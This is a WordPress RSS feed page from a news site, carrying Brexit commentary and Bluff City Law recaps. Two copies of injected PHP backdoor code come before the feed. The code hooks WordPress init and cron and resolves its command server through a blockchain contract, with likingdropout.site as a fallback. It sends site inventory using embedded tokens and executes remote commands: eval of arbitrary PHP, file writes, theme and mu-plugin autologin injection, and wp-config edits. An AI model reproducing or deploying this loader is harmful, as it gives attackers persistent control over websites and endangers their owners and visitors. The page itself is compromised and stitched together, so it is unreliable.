// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); bluff – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 23 Jan 2020 18:14:41 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png bluff – Brief News https://briefnews.eu 32 32 Davis calls Barnier’s bluff over Brexit trade deal – ‘Germany call us TREASURE island!’ https://briefnews.eu/davis-calls-barniers-bluff-over-brexit-trade-deal-germany-call-us-treasure-island/ https://briefnews.eu/davis-calls-barniers-bluff-over-brexit-trade-deal-germany-call-us-treasure-island/#respond Thu, 23 Jan 2020 18:14:41 +0000 http://briefnews.eu/davis-calls-barniers-bluff-over-brexit-trade-deal-germany-call-us-treasure-island/

Tory MP David Davis explained the EU is already showing cracks in their Brexit  trade negotiation tactics. While on ITV Good Morning Britain (GMB) Mr Davis explained the UK had other nations like Japan very interested in trade deals with Britain post-Brexit. He added the EU will eventually cave in and give the UK a great trade deal as they consider the UK “Treasure Island” because of how much money they make from the country.

Mr Davis said: “We actually have a whole load of options out there.

“We have got the Trans-Pacific Partnership, that probably will happen on January 1.

“The Trans-Pacific Partnership is an organisation of countries, mostly around the Pacific ocean, not entirely, it does not include America but it does include Japan.

“Japan is desperate for us to be a part of it.

DON’T MISS: ‘It’s OVER!’ Iain Duncan Smith silences SNP MP in Independence row

“Why do they want that? Because when we come along a load of other countries will think to join as well.

“That is a big partnership for us and it is big on services.”

GMB panel guest Kevin Maguire then raised the point about us not doing as much trade with the European Union.

Mr Davis quickly replied: “It is £200billion us to them and £300billion them to us.

“They are saying, oh we are not going to give as good a deal as Japan or other countries.

“Why would they do that, when we are right on their doorstep, The EU sells more to us than we do to them.

“They call us ‘Treasure Island’ because they make so much money here.

“That is what the Germans call us, Treasure Island.

“They are not going to walk away from that, so this is the time.”

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]]> https://briefnews.eu/davis-calls-barniers-bluff-over-brexit-trade-deal-germany-call-us-treasure-island/feed/ 0 Bluff City Law Finale Recap: Going Out on Top — Plus, Grade Season 1 https://briefnews.eu/bluff-city-law-finale-recap-going-out-on-top-plus-grade-season-1/ https://briefnews.eu/bluff-city-law-finale-recap-going-out-on-top-plus-grade-season-1/#respond Tue, 26 Nov 2019 10:23:54 +0000 http://briefnews.eu/bluff-city-law-finale-recap-going-out-on-top-plus-grade-season-1/

NBC’s Bluff City Law on Monday night wrapped its 10-episode freshman run with a big and potentially deadly case — and then a sad, shocking twist.

The Case of the Week found Sydney approached by a woman who attended the same college as her, and was in desperate need of help. Layla Hosmani was a Saudi-born journalist who had been “identified,” via some sketchy and staged but admissible video testimony, as a terrorist. As such, once found, she will likely be deported back to Saudi Arabia and, very likely, executed. Sydney, after reading Elijah in on the dicey situation, arranged for Brianna to secret Layla away at a location disclosed to no one else. Meanwhile, with the AG and a deadly serious Saudi attaché breathing down their necks, the Straits along with Anthony attempted to argue Layla’s case.

The AG and Saudis kept pushing for Layla to present herself, and Sydney — the only one who knew her location — even earned herself time behind bars for keeping mum. In the end, it was set up so that Layla would testify/tell her story, and also be cross-examined, via a livestream to the courtroom. As they set up the video, the Saudi attaché took notice of the hotel name and room number, and dispatched two of his men. A short while later, in the midst of Layla’s live testimony, the video stream switched to a different hotel room, where the Saudi men had sneaked in guns at the ready — only to be busted by federal LEOs, as part of a sting arranged with the AG’s help. Layla was then allowed to reunite with her brother, who had been hauled in by the Saudi attaché to testify against her, and go free.

After Sydney did right by a lovestruck artist she had met in the clink, the Straits and the rest of the firm celebrated Thanksgiving at Elijah’s house, where Emerson premiered the video he made for his dad, featuring anecdotes from everyone in his life.

But then Jake got a phone call that pulled him away from the festivities. It had to do with George, whom we had earlier seen very tentatively approach the home of the son who only knew him as a “monster,” and yet who greeted him with open arms and a warm hug, while Jake happily watched from the street. It was a happy family reunion, after all. And yet George had decided that that would be as good as it gets. That after wrongly losing 20 years of his life, and seeing his grown son, he would “go out on top”… by ending his life with a jump from a bridge. Jake was devastated, having earlier attested how George made him believe in good fathers again. Gut-punched, he showed up at Sydney’s to break the horrible news, before letting his emotions steer him into a kiss. A kiss that was cut short, before Robbie came down from upstairs.

What did you think of Bluff City Law‘s emotional roller coaster of a finale?


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]]> https://briefnews.eu/bluff-city-law-finale-recap-going-out-on-top-plus-grade-season-1/feed/ 0 NBC’s Bluff City Law Premiere: Grade It https://briefnews.eu/nbcs-bluff-city-law-premiere-grade-it/ https://briefnews.eu/nbcs-bluff-city-law-premiere-grade-it/#respond Tue, 24 Sep 2019 03:46:54 +0000 http://briefnews.eu/nbcs-bluff-city-law-premiere-grade-it/

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NBC laid down the Bluff City Law this Monday night, with a new drama starring onetime L.A. Lawyer Jimmy Smits. What’s your early verdict?

Bluff City Law stars Caitlin McGee (Grey’s Anatomy?) as Sydney Strait, a brilliant lawyer who used to work at her father Elijah’s celebrated law firm but, as seen in the opening minutes, currently beats up on the little guy as a corporate attorney. Upon the death of her mother, Sydney is forced into a tense reunion with her dad, for whom she used to work (and professionally clash with), and whom she also simply doesn’t like (because of how he cheated on her mom).

In the wake of their mutual loss, Elijah (played by Smits) — hoping to reconnect with his daughter — asks Sydney to rejoin his firm. She eventually agrees (and apparently amid zero counteroffers from her current employer!) and instantly shakes things up by revamping the strategy for what was going to be a class action lawsuit against AmeriFarm, the manufacturer of a cancerous pesticide. Working alongside both her father and former law school classmate Anthony (The Gifted‘s Michael Luwoye), and with the occasional assist from socially awkward paralegal Emerson (Stony Blyden), Sydney strikes some meaningful blows during the early trial, to the point that the chemical manufacturer offers a settlement of $ 200,000 for the terminal client and his family. Sydney scoffs, but Elijah hears out AmeriFarm’s counsel, who goes on to warn that the courtroom tide is about to turn. And indeed it does, as he, with the judge’s support, objects to Sydney’s series of expert witnesses.

Luckily, Emerson tracks down a scientist who used to work for AmeriFarm but “disappeared” after her damning findings on the pesticide were put in a drawer. The judge won’t allow the scientist to testify to any reports that seemingly never existed, so instead Sydney simply asks if the witness has anything to say to the plaintiff. The scientist in turn apologizes to the terminal man, and goes on a bit about how the product should have been stopped before the judge orders the jury to ignore the inflammatory testimony. They of course don’t/can’t and instead find in favor of the plaintiff — to the tune of $ 45 million in punitive damages, setting a nice blueprint for the class action suit Anthony had spent years building before Sydney came along.

Elsewhere in the pilot, we also met Jake Reilly (Revenge‘s Barry Sloane), a Strait & Associates legal eagle who was tasked, by Elijah’s late wife, with getting an imprisoned man’s murder rap overturned. When the prisoner at first rebuffs the notion, Jake does some thinking and — following advice from the firm’s Della (House of Cards‘ Jayne Atkinson) — realizes what legacy the man is trying to protect. Meeting again with the prospective client, Jake acknowledges that prisoner’s wife and son have, yes, moved on to rich, new lives without him — but now so should he start a new life. And the man agrees to fight.

Closing out the premiere, Sydney is having a less-icy moment with Elijah, rattling off her list of “demands” to stay with the form and thus help “change the world,” when Emerson barges in to ask “Dad” a question. “What did he just call you??” asks Sydney, as Elijah’s face makes clear he has some family news to share….


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]]> https://briefnews.eu/nbcs-bluff-city-law-premiere-grade-it/feed/ 0 Piers Morgan reveals how he would solve Brexit – ‘Call EU’s BLUFF and send FARAGE’ https://briefnews.eu/piers-morgan-reveals-how-he-would-solve-brexit-call-eus-bluff-and-send-farage/ https://briefnews.eu/piers-morgan-reveals-how-he-would-solve-brexit-call-eus-bluff-and-send-farage/#respond Mon, 20 May 2019 18:47:37 +0000 http://briefnews.eu/piers-morgan-reveals-how-he-would-solve-brexit-call-eus-bluff-and-send-farage/

The Good Morning Britain host grew increasingly frustrated with Remainer guest Kevin Maguire’s claims that parts of Brexit were “undeliverable”. Mr Morgan blasted back: “This is what the Remoaners always say. It’s undeliverable because we have a Remainer Prime Minister and a three-quarter Remain parliament.

“That’s why it’s undeliverable.”

The TV veteran went on to explain what he would do if it fell to him to deliver Brexit.

He said: “If I was Boris Johnson and I won the election to run the party and the country, I would immediately go straight to no deal.

“I’d call everyone’s bluff.

“No deal – bang. That’s where we’re going, we’re leaving.

“Then you watch. You watch what happens when you actually negotiate hardball.”

He added that he would send Brexit Party leader Nigel Farage “straight over” to the EU to conduct the negotiations.

Meanwhile, Theresa May is set to begin discussions with senior ministers on her proposed new “bold offer” to MPs in a final attempt to get her Brexit deal through Parliament.

The weekly meeting of the Cabinet on Tuesday is expected to sign off on a package of measures to be included in the forthcoming Withdrawal Agreement Bill (WAB) aimed at winning cross-party support.

However, there was widespread scepticism at Westminster that it will fare any better than her three previous failed attempts to get the Commons to pass the deal.

Following the collapse last week of cross-party talks with Labour aimed at reaching a common approach, Jeremy Corbyn said he had not yet seen anything new that would persuade him to support it.

It comes at the start of what looks likely to be another torrid week for the Prime Minister with the Conservatives braced for a hammering at the hands of Nigel Farage’s Brexit Party in the European elections on Thursday.

One weekend poll put them in a humiliating fifth place behind the Greens, with the results likely to exacerbate frustration in the party at the failure to leave the EU in March as planned.

Labour – which has been criticised for facing both ways on a second referendum – is also expecting a difficult result with the same poll showing them in third place behind the Liberal Democrats.

